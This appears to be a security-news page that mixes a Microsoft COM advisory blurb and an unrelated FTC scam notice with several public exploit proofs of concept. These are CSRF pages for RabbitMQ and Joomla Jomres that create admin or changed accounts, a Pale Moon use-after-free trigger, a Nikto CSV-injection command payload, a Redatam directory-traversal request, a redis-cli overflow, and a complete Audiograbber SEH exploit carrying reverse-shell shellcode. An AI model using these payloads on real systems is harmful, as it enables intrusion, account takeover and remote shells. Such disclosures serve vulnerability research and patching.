Microsoft COM For Windows Improper Serialized Object Handling

Microsoft COM for Windows privilege escalation proof of concept exploit. A remote code execution vulnerability exists in “Microsoft COM for Windows” when it fails to properly handle serialized objects. An attacker who successfully exploited the vulnerability could use a specially crafted file or script to perform actions. In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file. In a web-based attack scenario, an attacker could host a website (or leverage a compromised website that accepts or hosts user-provided content) that contains a specially crafted file that is designed to exploit the vulnerability. However, an attacker would have no way to force the user to visit the website. Instead, an attacker would have to convince the user to click a link, typically by way of an enticement in an email or Instant Messenger message, and then convince the user to open the specially crafted file. The security update addresses the vulnerability by correcting how “Microsoft COM for Windows” handles serialized objects.

FTC, Partners Help Small Businesses Stop Scams

Original release date: June 18, 2018

The Federal Trade Commission (FTC) has launched Operation Main Street, an effort with the Better Business Bureau (BBB) and law enforcement to educate small business owners on how to stop scams targeting their businesses. Accordingly, FTC released Scams and Your Small Business, a guide for businesses detailing how to avoid, identify, and report scams.

NCCIC encourages business owners and other consumers to review the FTC article and NCCIC’s Resources for Small and Midsize Businesses.


This product is provided subject to this Notification and this Privacy & Use policy.

RabbitMQ Web Management Cross Site Request Forgery

# Exploit Title: RabbitMQ Web Management < 3.7.6 - Cross-Site Request Forgery
# Date: 2018-06-17
# Author: Dolev Farhi
# Vendor or Software Link: www.rabbitmq.com
# Version: 3.7.6
# Tested on: Ubuntu

<html>
<h2>Add RabbitMQ Admin</h2>

<body>
<form name="rabbit" id="rabbit" action="http://Target/api/users/rootadmin" method="POST">
<input type="hidden" name="username" value="rootadmin" />
<input type="hidden" name="password" value="rootadmin" />
<input type="hidden" name="tags" value="administrator" />
<input type="submit" value="save" />
</form>

<script>
window.onload = rabbit.submit()
</script>

</body>
</html>

Pale Moon Browser Use-After-Free

# Exploit Title: Pale Moon Browser < 27.9.3 - Use After Free (PoC) 
# Date: 2018-06-13
# Author - Berk Cem Goksel
# Vendor Homepage: https://www.palemoon.org/
# Software Link: https://www.palemoon.org/palemoon-win32.shtml
# Version: Versions prior to 27.9.3 (Tested versions: 27.9.0, 27.9.1, 27.9.2)
# Tested on: Windows 10
# Category: Windows Remote Exploit
# CVE : CVE-2018-12292

<html>
<head>
<style>
</style>
<script>

function SetVariable(fuzzervars, var_name, var_type) {
fuzzervars[var_type] = var_name;
}

function jsfuzzer() {

var var_1 = var_2.getDistributedNodes();
SetVariable(var_1, 'NodeList');

}

</script>
</head>
<body onload=jsfuzzer()>
<!-- beginhtml -->
<content id="var_2" loopend="1" default="" max="0" charset="ISO-2022-JP"></content>
<!-- endhtml -->
</body>
</html>

Nikto 2.1.6 CSV Injection

# Exploit Title: Nikto 2.1.6 – CSV Injection
# Google Dork: N/A
# Date: 2018-06-01
# Exploit Author: Adam Greenhill
# Vendor Homepage: https://cirt.net/Nikto2
# Software Link: https://github.com/sullo/nikto
# Affected Version: 2.1.6, 2.1.5
# Category: Applications
# Tested on: Kali Linux 4.14 x64
# CVE : CVE-2018-11652

# Technical Description:
# CSV Injection vulnerability in Nikto 2.1.6 and earlier allows remote attackers
# to inject arbitrary OS commands via the Server field in an HTTP response header,
# which is directly injected into a CSV report.

# PoC
# Install nginx and nginx-extras: apt-get install -y nginx nginx-extras
# Configure the nginx server as follows by editing the /etc/nginx/nginx.conf file:

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
worker_connections 768;
# multi_accept on;
}

http {
server_tokens off; # removed pound sign
more_set_headers “Server: =cmd|’ /C calc’!’A1′”;

server {
listen 80;

server_name localhost;

location /hello {
return 200 “hello world”;
}
}
}

# Restart the server: service nginx restart
# Scan the nginx server with Nikto configured to output the results to a CSV file:

nikto -h <nginx address>:80 -o vuln.csv

# Open the resulting CSV file in Microsoft Excel and observe that CMD is attempting
# to execute

Redatam Web Server Directory Traversal

# Exploit Title: Redatam Web Server < 7 – Directory Traversal
# Google Dork: inurl: /redbin/rpwebutilities.exe/
# Date: 2018-06-18
# Exploit Author: Berk Dusunur
# Vendor Homepage: http://redatam.org/redatam/en/index.html
# Software Link: https://www.cepal.org/en/topics/redatam/download-redatam
# Version: before V6
# Tested on: Pardus Windows AppServ
# CVE : N/A

# Proof of Concept
# Redatam web server windows server running LFN parameter affected by directory traversal
# Making a wrong request causes directory leak

# Request

GET /redbin/rpwebutilities.exe/text?LFN=blablabla%00.htm&TYPE=TMP HTTP/1.1
Host: 192.168.1.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

# Response

HTTP/1.1 500 Internal Server Error
Date: Mon, 18 Jun 2018 10:04:44 GMT
Server: Apache/2.4.23 (Win32) PHP/5.6.25
Content:
Content-Length: 416
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”>
<html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”en” lang=”en”>
<heading/>
<body>
<h1>R+SP WebUtilities Exception</h1>
<p>Error Number [401]</p>
<p><b>Error Message</b></p>
<p>File not found in folder [C:\wamp\apps\redatam\redbin\] – [blablabla]

Script directory /wamp/apps/redatam/redbin/

# Request 2

GET
/redbin/rpwebutilities.exe/text?LFN=../../../../../../../../../../../../../../../../wamp/apps/redatam/redbin/prt/webservermain.inl%00.htm&TYPE=TMP
HTTP/1.1
Host: 192.168.1.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

# Response 2

HTTP/1.1 200 OK
Date: Mon, 18 Jun 2018 10:11:44 GMT
Server: Apache/2.4.23 (Win32) PHP/5.6.25
Title:
../../../../../../../../../../../../../../../../wamp/apps/redatam/redbin/prt/webservermain.inl
Content:
Content-Length: 2319
Connection: close
Content-Type: text/html; charset=utf-8

[STRUCTURE]
USERCONTROL=YES
GROUPALIGN=LEFT

SERVERTIMEOUT=1800

HTMLPATH=RpSite\

PORTALTITLE=CELADE/CEPAL, NaASSAues Unidas
PORTALSUBTITLE=Procesamiento En-LAnea com REDATAM

//PORTALCENTERIMAGE=/redatam/images/LogoRedatam7_520x390.png
//PORTALBACKGROUNDHEADERIMAGE=
//PORTALBACKGROUNDINDEXIMAGE=
//PORTALBACKGROUNDOUTPUTIMAGE=

Redis-cli Buffer Overflow

# Exploit Title: Redis-cli < 5.0 - Buffer Overflow (PoC)
# Date: 2018-06-13
# Exploit Author: Fakhri Zulkifli
# Vendor Homepage: https://redis.io/
# Software Link: https://redis.io/download
# Version: 5.0, 4.0, 3.2
# Fixed on: 5.0, 4.0, 3.2
# CVE : CVE-2018-12326

# Buffer overflow in redis-cli of Redis version 3.2, 4.0, and 5.0 allows a local attacker
# to achieve code execution and escalate to higher privileges via a long string in the hostname parameter.

$ ./src/redis-cli -h `python -c 'print "A" * 300'`
Could not connect to Redis at AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:6379: Name or service not known

#0 0x4a4182 in vsnprintf /home/user/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1566
#1 0x4a42d0 in snprintf /home/user/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1637
#2 0x570159 in repl /home/user/redis/src/redis-cli.c:1624:5
#3 0x55ba77 in main /home/user/redis/src/redis-cli.c:6660:9
#4 0x7f6be5f6e82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#5 0x4247a8 in _start (/home/user/redis/src/redis-cli+0x4247a8)

Audiograbber 1.83 Buffer Overflow

# Exploit Title: Audiograbber 1.83 – Local Buffer Overflow (SEH)
# Date: 2018-06-16
# Exploit Author: Dennis ‘dhn’ Herrmann
# Vendor Homepage: https://www.audiograbber.org/
# Version: 1.83
# Tested on: Windows 7 SP1 (x86)

#!/usr/bin/env python
# $Id: exploit.py,v 1.0 2018/06/16 13:25:59 dhn Exp $
#
# Tested with Windows 7 SP1 (x86)
# Steps:
# – Paste “poc.txt” content in the “Interpret” or “Album” field

class Exploit:

def __init__(self, shellcode):
self._shellcode = shellcode
self._payload = None

def __write(self):
f = open(“poc.txt”, “w”)
f.write(self._payload)
f.close()

def run(self):
pattern = “A” * 256
jmp_short = “\xeb\x08\x90\x90” # short JMP
pop2ret = “\x79\x91\x01\x10” # WMA8Connect.dll

self._payload = pattern
self._payload += jmp_short
self._payload += pop2ret

# The buffer is mangled so we have to jump
# over the parts to reached our shellcode
self._payload += “\x90” * 18 + jmp_short
self._payload += “\x90” * 28 + jmp_short
self._payload += “\x90” * 32 + self._shellcode

self.__write()

def main():
# msfvenom –platform windows -p windows/shell_reverse_tcp \
# LHOST=10.168.142.129 LPORT=443 -b “\x00\x0a\x0d” \
# -e x86/alpha_mixed -f py
shellcode = (
“\xda\xcd\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49”
“\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51”
“\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51”
“\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50”
“\x38\x41\x42\x75\x4a\x49\x39\x6c\x59\x78\x6f\x72\x77”
“\x70\x73\x30\x73\x30\x43\x50\x4e\x69\x6b\x55\x55\x61”
“\x69\x50\x32\x44\x6c\x4b\x76\x30\x70\x30\x6e\x6b\x50”
“\x52\x54\x4c\x4c\x4b\x72\x72\x47\x64\x6c\x4b\x74\x32”
“\x46\x48\x36\x6f\x6d\x67\x73\x7a\x67\x56\x74\x71\x6b”
“\x4f\x4e\x4c\x37\x4c\x51\x71\x53\x4c\x53\x32\x34\x6c”
“\x75\x70\x59\x51\x78\x4f\x56\x6d\x73\x31\x79\x57\x6b”
“\x52\x4b\x42\x71\x42\x56\x37\x4c\x4b\x63\x62\x74\x50”
“\x6e\x6b\x52\x6a\x57\x4c\x4c\x4b\x42\x6c\x54\x51\x32”
“\x58\x4d\x33\x37\x38\x57\x71\x58\x51\x76\x31\x4e\x6b”
“\x33\x69\x31\x30\x37\x71\x4e\x33\x6e\x6b\x61\x59\x47”
“\x68\x4a\x43\x47\x4a\x43\x79\x4e\x6b\x76\x54\x6e\x6b”
“\x37\x71\x38\x56\x74\x71\x59\x6f\x4c\x6c\x4b\x71\x78”
“\x4f\x36\x6d\x36\x61\x68\x47\x75\x68\x6b\x50\x70\x75”
“\x39\x66\x55\x53\x31\x6d\x4c\x38\x35\x6b\x73\x4d\x71”
“\x34\x62\x55\x4a\x44\x73\x68\x4c\x4b\x31\x48\x61\x34”
“\x76\x61\x58\x53\x30\x66\x6e\x6b\x76\x6c\x50\x4b\x4e”
“\x6b\x31\x48\x35\x4c\x67\x71\x59\x43\x4c\x4b\x37\x74”
“\x4c\x4b\x53\x31\x4e\x30\x4b\x39\x33\x74\x55\x74\x45”
“\x74\x73\x6b\x43\x6b\x31\x71\x31\x49\x53\x6a\x43\x61”
“\x4b\x4f\x79\x70\x63\x6f\x73\x6f\x70\x5a\x4c\x4b\x64”
“\x52\x5a\x4b\x6c\x4d\x43\x6d\x52\x48\x30\x33\x67\x42”
“\x37\x70\x73\x30\x35\x38\x34\x37\x53\x43\x76\x52\x33”
“\x6f\x53\x64\x63\x58\x30\x4c\x33\x47\x76\x46\x44\x47”
“\x6b\x4f\x38\x55\x6d\x68\x4a\x30\x37\x71\x47\x70\x47”
“\x70\x55\x79\x69\x54\x76\x34\x46\x30\x35\x38\x45\x79”
“\x6d\x50\x70\x6b\x57\x70\x79\x6f\x4a\x75\x56\x30\x56”
“\x30\x30\x50\x46\x30\x73\x70\x30\x50\x43\x70\x72\x70”
“\x62\x48\x4b\x5a\x44\x4f\x59\x4f\x6d\x30\x49\x6f\x7a”
“\x75\x7a\x37\x51\x7a\x55\x55\x53\x58\x76\x6a\x6e\x48”
“\x4c\x4e\x6e\x61\x73\x58\x44\x42\x67\x70\x47\x71\x4f”
“\x4b\x4d\x59\x4d\x36\x53\x5a\x34\x50\x70\x56\x76\x37”
“\x31\x78\x6e\x79\x49\x35\x44\x34\x53\x51\x49\x6f\x68”
“\x55\x6d\x55\x6f\x30\x50\x74\x36\x6c\x69\x6f\x50\x4e”
“\x56\x68\x52\x55\x6a\x4c\x73\x58\x6a\x50\x58\x35\x6c”
“\x62\x46\x36\x59\x6f\x48\x55\x32\x48\x43\x53\x30\x6d”
“\x63\x54\x77\x70\x6f\x79\x78\x63\x56\x37\x32\x77\x46”
“\x37\x50\x31\x59\x66\x32\x4a\x46\x72\x53\x69\x62\x76”
“\x79\x72\x59\x6d\x52\x46\x59\x57\x63\x74\x51\x34\x37”
“\x4c\x76\x61\x66\x61\x6c\x4d\x61\x54\x44\x64\x42\x30”
“\x6b\x76\x73\x30\x42\x64\x63\x64\x52\x70\x31\x46\x51”
“\x46\x50\x56\x42\x66\x30\x56\x62\x6e\x71\x46\x76\x36”
“\x36\x33\x71\x46\x42\x48\x74\x39\x7a\x6c\x55\x6f\x4f”
“\x76\x59\x6f\x6b\x65\x4b\x39\x59\x70\x70\x4e\x66\x36”
“\x30\x46\x59\x6f\x64\x70\x31\x78\x67\x78\x6c\x47\x67”
“\x6d\x35\x30\x49\x6f\x78\x55\x4d\x6b\x58\x70\x6d\x65”
“\x6f\x52\x36\x36\x73\x58\x6c\x66\x7a\x35\x4d\x6d\x6d”
“\x4d\x59\x6f\x59\x45\x75\x6c\x53\x36\x31\x6c\x47\x7a”
“\x6d\x50\x49\x6b\x79\x70\x70\x75\x36\x65\x6f\x4b\x77”
“\x37\x62\x33\x61\x62\x70\x6f\x71\x7a\x45\x50\x61\x43”
“\x6b\x4f\x69\x45\x41\x41”
)

exploit = Exploit(shellcode)
exploit.run()

if __name__ == “__main__”:
main()

Joomla Jomres 9.11.2 Cross Site Request Forgery

Joomla Jomres 9.11.2 Cross Site Request Forgery
Posted Jun 18, 2018
Authored by Borna Nematzadeh

Joomla Jomres component version 9.11.2 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | 85f5c9da3da7654810d5acb079efaa95
# Exploit Title: Joomla!Component jomres 9.11.2 - Cross site request forgery
# Date: 2018-06-15
# Exploit Author: L0RD
# Vendor Homepage: https://www.jomres.net/
# Software link: https://extensions.joomla.org/extension/jomres/
# Software Download: https://github.com/WoollyinWalesIT/jomres/releases/download/9.11.2/jomres.zip
# Version: 9.11.2
# Tested on: Kali linux
===================================================
# POC :

<html>
<head>
<title>CSRF POC</title>
</head>
<body>
<form action="http://127.0.0.1/jomres/index.php?cmd=account/index" method="POST">
<input type="hidden" name="password" value="decode" />
<input type="hidden" name="password_verify" value="decode" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="first_name" value="decode" />
<input type="hidden" name="last_name" value="test" />
<input type="hidden" name="company" value="test" />
<input type="hidden" name="vat_no" value="100000000" />
<input type="hidden" name="address1" value="test1" />
<input type="hidden" name="address2" value="test2" />
<input type="hidden" name="city" value="New York" />
<input type="hidden" name="county" value="test" />
<input type="hidden" name="postalcode" value="100001" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

===================================================